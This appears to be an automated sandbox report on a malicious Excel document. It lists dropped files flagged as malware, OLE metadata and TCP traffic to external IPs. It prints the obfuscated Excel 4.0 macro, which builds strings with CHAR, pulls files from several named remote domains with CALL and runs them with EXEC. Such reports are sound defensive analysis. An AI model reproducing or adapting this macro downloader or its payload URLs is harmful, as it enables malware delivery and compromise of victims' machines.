                                                                        Preview: ........g2..........................\.p.... B.....a.........=...............................................=.....i..9!.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1.......4...........A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...,...8...........A.r.i.a.l.1.......8...........A.r.i.a.l.1.......8...........A.r.i.a.l.1...................C.a.l.i.b.r.i.1.......>...........A.r.i.a.l.1.......4...........A.r.i.a.l.1.......<...........A.r.i.a.l.1.......?...........A.r.i.a.l.1...h...8...........C.a.m.b.r.i.a.1...................A.r.i.a.l.1...............
                                                                        C:\Users\user\fikftkm.thj
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:HTML document, ASCII text, with very long lines
                                                                        Category:dropped
                                                                        Size (bytes):7614
                                                                        Entropy (8bit):5.643196429180972
                                                                        Encrypted:false
                                                                        SSDEEP:192:olVZHCkA26xd3Q4JRveuTtMy47R/Ga0kVhFuPwf8Pn9wHHyJcf:QJvVGaRF8I80
                                                                        MD5:116091ED739B7E0F1AD7F819560A0602
                                                                        SHA1:C30A527A2A5F25BC1A63359CAD76A8BAB67CB4FB
                                                                        SHA-256:0445F0A98A263C472AE1C8D8E28275AFEA1BDDD7692746AA5286097B311B29B1
                                                                        SHA-512:83F16BCA5EA4062470B8807912F10B6D743C2DEF2261B4E16098EA8FC1DCB6692CBBD4C6870F27408422B75A3CDCD46A3856AB2162177ED2386D4B8188C122E8
                                                                        Malicious:true
                                                                        Preview: <!DOCTYPE html>.<html>. <head>. <meta http-equiv="Content-type" content="text/html; charset=utf-8">. <meta http-equiv="Cache-control" content="no-cache">. <meta http-equiv="Pragma" content="no-cache">. <meta http-equiv="Expires" content="0">. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=1">. <title>Account Suspended</title>. <link rel="stylesheet" href="//use.fontawesome.com/releases/v5.0.6/css/all.css">. <style type="text/css">. body {. font-family: Arial, Helvetica, sans-serif;. font-size: 14px;. line-height: 1.428571429;. background-color: #ffffff;. color: #2F3230;. padding: 0;. margin: 0;. }. section {. display: block;. padding: 0;. margin: 0;. }. .container {. margin-left: auto;. margin-right: auto;. padding: 0 10px;.
                                                                        C:\Users\user\fikftkm.thj2
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):129731
                                                                        Entropy (8bit):5.747848755116591
                                                                        Encrypted:false
                                                                        SSDEEP:1536:tm15JsYYm3GCVS7ZicTJzRVd620ZmB9RMli0msUdqZEACW4jySTLW:eLsacThRVd6pmBPM07vYZEA4/W
                                                                        MD5:9BDF7C3BDB07C77AB4AE0BECC716B6D0
                                                                        SHA1:C5B2ED793BCFE4D96B2CE93B202B2F551AFB8C87
                                                                        SHA-256:4106E859C225B6FED690E1640CC98E4808E1FF7C5CB041C18493996B04805E48
                                                                        SHA-512:117EFAABE33020EE1C14924D1FB19FE57F2DE6E3FEAB007F3B9A117931479585188500D0B50854CD7D2D85003D00AB313BB662D02571BC4C834FAA25E6360216
                                                                        Malicious:true
                                                                        Antivirus:
                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                        Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._W...6e..6e..6e.)v..6e...w..6e.Rich.6e.................PE..L.....f`...........!................ko..................................................................................d............................................................................................................................code.............................. ..`.data...d...........................@..@.data...............................@....rdata... .......".......................data...............................@...................................................................................................................................................................................................................................................................................................................................................................................
                                                                        C:\Users\user\fikftkm.thj3
                                                                        Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                        File Type:HTML document, ASCII text, with very long lines
                                                                        Category:dropped
                                                                        Size (bytes):7624
                                                                        Entropy (8bit):5.642596381720329
                                                                        Encrypted:false
                                                                        SSDEEP:192:olVZHCkA26xd3Q4JRveuTtMy47R/Ga0kVhFuPwf8Pn9wHHyJf0:QJvVGaRF8I80
                                                                        MD5:190F2D4BCDE1E366EAAB903C29C7A699
                                                                        SHA1:346D44A0619C97AA226EF52F146F9A133F4DCAAF
                                                                        SHA-256:20C2D643754869BA5763DDC6289A0FADBBF2DE81236F1F80B7FA3588B14F6EBB
                                                                        SHA-512:AB3C39F0B6A07F798E9546FA882BE0D850F88337DFBFBF7A797A67B43CC1EA8718C842619E4FE169FD3A6FE270C39866F6B4DBB0187612B2840A6474D0E26BB6
                                                                        Malicious:false
                                                                        Preview: <!DOCTYPE html>.<html>. <head>. <meta http-equiv="Content-type" content="text/html; charset=utf-8">. <meta http-equiv="Cache-control" content="no-cache">. <meta http-equiv="Pragma" content="no-cache">. <meta http-equiv="Expires" content="0">. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=1">. <title>Account Suspended</title>. <link rel="stylesheet" href="//use.fontawesome.com/releases/v5.0.6/css/all.css">. <style type="text/css">. body {. font-family: Arial, Helvetica, sans-serif;. font-size: 14px;. line-height: 1.428571429;. background-color: #ffffff;. color: #2F3230;. padding: 0;. margin: 0;. }. section {. display: block;. padding: 0;. margin: 0;. }. .container {. margin-left: auto;. margin-right: auto;. padding: 0 10px;.

                                                                        Static File Info

                                                                        General

                                                                        File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Apr 1 10:53:30 2021, Security: 0
                                                                        Entropy (8bit):5.512375299027175
                                                                        TrID:
                                                                        • Microsoft Excel sheet (30009/1) 78.94%
                                                                        • Generic OLE2 / Multistream Compound File (8008/1) 21.06%
                                                                        File name:document-1245492889.xls
                                                                        File size:184832
                                                                        MD5:e30c71417d7675c13ca725d3bb4172eb
                                                                        SHA1:80350061fb497c3fc79ac2cd4f8a315aceae412e
                                                                        SHA256:05d2f75e43502476f32925c3f8ca82245c4f5433c4d405779e6fd178cd37ea13
                                                                        SHA512:4f2f96126cc2bde21292a0ac85ffa04799915f57750356bf1957313b7c353efc469172362ba66691b7417553a3e7eca1e14c8ad75462ce524da8041d785aa641
                                                                        SSDEEP:1536:4PrixIEudkLeXf1D5XUY//wBf8orsYwbKynDLmAMo5VjP2/zaUv:4PmxIEudkLeXPD/PjYwe2DMo3S/7
                                                                        File Content Preview:........................>.......................g...........................d...e...f..........................................................................................................................................................................

                                                                        File Icon

                                                                        Icon Hash:e4eea286a4b4bcb4

                                                                        Static OLE Info

                                                                        General

                                                                        Document Type:OLE
                                                                        Number of OLE Files:1

                                                                        OLE File "document-1245492889.xls"

                                                                        Indicators

                                                                        Has Summary Info:True
                                                                        Application Name:Microsoft Excel
                                                                        Encrypted Document:False
                                                                        Contains Word Document Stream:False
                                                                        Contains Workbook/Book Stream:True
                                                                        Contains PowerPoint Document Stream:False
                                                                        Contains Visio Document Stream:False
                                                                        Contains ObjectPool Stream:
                                                                        Flash Objects Count:
                                                                        Contains VBA Macros:True

                                                                        Summary

                                                                        Code Page:1251
                                                                        Author:
                                                                        Last Saved By:
                                                                        Create Time:2006-09-16 00:00:00
                                                                        Last Saved Time:2021-04-01 09:53:30
                                                                        Creating Application:Microsoft Excel
                                                                        Security:0

                                                                        Document Summary

                                                                        Document Code Page:1251
                                                                        Thumbnail Scaling Desired:False
                                                                        Contains Dirty Links:False
                                                                        Shared Document:False
                                                                        Changed Hyperlinks:False
                                                                        Application Version:1048576

                                                                        Streams

                                                                        Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096
                                                                        General
                                                                        Stream Path:\x5DocumentSummaryInformation
                                                                        File Type:data
                                                                        Stream Size:4096
                                                                        Entropy:0.354263933307
                                                                        Base64 Encoded:False
                                                                        Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . D o c 3 . . . . . D o c 1 . . . . . D o c 2 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . .
                                                                        Data Raw:fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 b0 00 00 00 02 00 00 00 e3 04 00 00
                                                                        Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096
                                                                        General
                                                                        Stream Path:\x5SummaryInformation
                                                                        File Type:data
                                                                        Stream Size:4096
                                                                        Entropy:0.251653152424
                                                                        Base64 Encoded:False
                                                                        Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . | . # . . . @ . . . . . . . . & . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                        Data Raw:fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00
                                                                        Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 173850
                                                                        General
                                                                        Stream Path:Workbook
                                                                        File Type:Applesoft BASIC program data, first line number 16
                                                                        Stream Size:173850
                                                                        Entropy:5.72116035247
                                                                        Base64 Encoded:True
                                                                        Data ASCII:. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . i . . 9 ! . 8 . . . . . . . X . @ . . . . . . . . . . . " . . . . .
                                                                        Data Raw:09 08 10 00 00 06 05 00 5a 4f cd 07 c9 04 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

                                                                        Macro 4.0 Code

                                                                        ,,,,,,,,,,,,,,,,,,,,=CHAR(85),,,,=CHAR(74),,=CHAR(114),,=CHAR(44),,,,,,=CHAR(82),,,,=CHAR(74),,=CHAR(117),,=CHAR(68),,,,,,=CHAR(76),,,,=CHAR(67),,=CHAR(110),,=CHAR(108),,,,,,=CHAR(77),,,,=CHAR(67),,=CHAR(100),,=CHAR(108)"=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=ROMAN(7.85678564725478E+27,423)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=LOG(742343642785237000000,4235327)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=ODD(7.42425845234725E+25)",,,,,,=CHAR(111),,,,=CHAR(66),,=CHAR(108),,=CHAR(82),,,,,,=CHAR(110),,,,=CHAR(66),,=CHAR(108),,=CHAR(101),,,,,,,,,,,,=CHAR(51),,=CHAR(103),,,,,,,,,,,,,,=CHAR(105),,,,,,,,,,,,,,=CHAR(115),,,,,,,,,,,,,,=CHAR(116)"=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=ROMAN(7.85678564725478E+27,423)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=LOG(742343642785237000000,4235327)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=ODD(7.42425845234725E+25)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=ROMAN(7.85678564725478E+27,423)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=LOG(742343642785237000000,4235327)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=ODD(7.42425845234725E+25)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=ROMAN(7.85678564725478E+27,423)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=LOG(742343642785237000000,4235327)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=ODD(7.42425845234725E+25)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=ROMAN(7.85678564725478E+27,423)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=LOG(742343642785237000000,4235327)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=ODD(7.42425845234725E+25)=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""=CALL(""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&BY2&BY3&BY4&BY5&BY6&BY7,BY14&BY15&BY16&Doc3!AL5&Doc3!AL6&Doc3!AL7&Doc3!AL8&Doc3!AL9&Doc3!AL10&Doc3!AL11&Doc3!AL12&Doc3!AL13&Doc3!AL14&Doc3!AL15&Doc3!AL16&Doc3!AL17&Doc3!AL18&Doc1!J207,CC2&CC3&CC4&CC5&CC6&CC7,0,before.3.0.70.sheet!BU32&Doc3!A100&Doc1!A200&Doc1!C200,Doc1!E201,0,0)",,,,,,,,,,,,,,=CHAR(101)"=CALL(BY2&BY3&BY4&BY5&BY6&BY7,BY14&BY15&BY16&Doc3!AL5&Doc3!AL6&Doc3!AL7&Doc3!AL8&Doc3!AL9&Doc3!AL10&Doc3!AL11&Doc3!AL12&Doc3!AL13&Doc3!AL14&Doc3!AL15&Doc3!AL16&Doc3!AL17&Doc3!AL18&Doc1!J207,CC2&CC3&CC4&CC5&CC6&CC7,0,before.3.0.70.sheet!BU32&Doc3!A100&Doc1!A201&Doc1!C201,Doc1!E201&""1"",0,0)",,,,,,,,,,,,,,=CHAR(114)"=CALL(BY2&BY3&BY4&BY5&BY6&BY7,BY14&BY15&BY16&Doc3!AL5&Doc3!AL6&Doc3!AL7&Doc3!AL8&Doc3!AL9&Doc3!AL10&Doc3!AL11&Doc3!AL12&Doc3!AL13&Doc3!AL14&Doc3!AL15&Doc3!AL16&Doc3!AL17&Doc3!AL18&Doc1!J207,CC2&CC3&CC4&CC5&CC6&CC7,0,before.3.0.70.sheet!BU32&Doc3!A100&Doc1!A202&Doc1!C202,Doc1!E201&""2"",0,0)",,,,,,=CHAR(40+45),,,,,,,,=CHAR(83)"=CALL(BY2&BY3&BY4&BY5&BY6&BY7,BY14&BY15&BY16&Doc3!AL5&Doc3!AL6&Doc3!AL7&Doc3!AL8&Doc3!AL9&Doc3!AL10&Doc3!AL11&Doc3!AL12&Doc3!AL13&Doc3!AL14&Doc3!AL15&Doc3!AL16&Doc3!AL17&Doc3!AL18&Doc1!J207,CC2&CC3&CC4&CC5&CC6&CC7,0,before.3.0.70.sheet!BU32&Doc3!A100&Doc1!A203&Doc1!C203,Doc1!E201&""3"",0,0)",,,,,,=CHAR(22+60),,,,,,,,=CHAR(101)"=CALL(BY2&BY3&BY4&BY5&BY6&BY7,BY14&BY15&BY16&Doc3!AL5&Doc3!AL6&Doc3!AL7&Doc3!AL8&Doc3!AL9&Doc3!AL10&Doc3!AL11&Doc3!AL12&Doc3!AL13&Doc3!AL14&Doc3!AL15&Doc3!AL16&Doc3!AL17&Doc3!AL18&Doc1!J207,CC2&CC3&CC4&CC5&CC6&CC7,0,before.3.0.70.sheet!BU32&Doc3!A100&Doc1!A204&Doc1!C204,Doc1!E201&""4"",0,0)",,,,,,=CHAR(6+70),,,,,,,,=CHAR(114)=Doc1!H206(),,,,,,,,,,,,,,=CHAR(118),,,,,,,,,,,,,,=CHAR(101),,,,,,,,,,,,,,=CHAR(114),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=HALT(),,,,,,,,,,,,,,,,h,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
                                                                        ,,,,,,,,,vts.us.com/ds/0104.,,gif,,,,,,,mundotecnologiasolar.com/ds/0104.,,gif,,..\fikftkm.thj,,,,,accesslinksgroup.com/ds/0104.,,gif,,,,,,,ponchokhana.com/ds/0104.,,gif,,,,,,,comosairdoburaco.com.br/ds/0104.,,gif,,,,,,,,,,,,,,,,,,,,,,,"=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=EXEC(Doc2!CE2&Doc2!CE3&Doc2!CE4&Doc2!CE5&Doc2!CE6&Doc2!CE7&Doc2!CE8&""2 ""&before.2.198.0.sheet!E201&Doc2!CG2&Doc2!CG3&Doc2!CG4&Doc2!CG5&Doc2!CG6&Doc2!CG7&Doc2!CG8&Doc2!CG9&Doc2!CG10&Doc2!CG11&Doc2!CG12&Doc2!CG13&Doc2!CG14&Doc2!CG15&Doc2!CG16&Doc2!CG17&Doc2!CG18&Doc2!CG19)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)",,,,,,,,,"=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(7842542893242350000,42)=TRUNC(278452452478923,425)=CEILING.PRECISE(784254

                                                                        Network Behavior

                                                                        Network Port Distribution

                                                                        TCP Packets

                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                        Apr 7, 2021 10:56:01.579391956 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:01.723526001 CEST44349165207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:01.723622084 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:01.732597113 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:01.877059937 CEST44349165207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:01.879154921 CEST44349165207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:01.879179001 CEST44349165207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:01.879266024 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:01.879318953 CEST44349165207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:01.879334927 CEST44349165207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:01.879381895 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:01.879406929 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:01.884533882 CEST44349165207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:01.884634018 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:01.933315992 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:02.085320950 CEST44349165207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:02.085558891 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.120690107 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.270613909 CEST44349165207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.270771027 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.270812988 CEST44349165207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.270863056 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.271159887 CEST49165443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.272412062 CEST49167443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.417540073 CEST44349165207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.417576075 CEST44349167207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.417686939 CEST49167443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.418366909 CEST49167443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.561585903 CEST44349167207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.563234091 CEST44349167207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.563358068 CEST49167443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.563801050 CEST49167443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.604612112 CEST49167443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.748547077 CEST44349167207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.808373928 CEST44349167207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.808410883 CEST44349167207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.808423996 CEST44349167207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.808434010 CEST44349167207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.808446884 CEST44349167207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.808459044 CEST44349167207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:03.808653116 CEST49167443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.819852114 CEST49167443192.168.2.22207.174.213.126
                                                                        Apr 7, 2021 10:56:03.963421106 CEST44349167207.174.213.126192.168.2.22
                                                                        Apr 7, 2021 10:56:04.032520056 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:04.175481081 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:04.175570965 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:04.176426888 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:04.319808960 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:04.325303078 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:04.325347900 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:04.325406075 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:04.325566053 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:04.371629000 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:04.519107103 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:04.519318104 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.042814970 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.225735903 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.842266083 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.842305899 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.842334986 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.842363119 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.842391968 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.842420101 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.842442989 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.842444897 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.842463017 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.842467070 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.842475891 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.842487097 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.842521906 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.842576981 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.842624903 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.842719078 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.842757940 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.843050957 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.843111038 CEST49168443192.168.2.22162.241.62.4
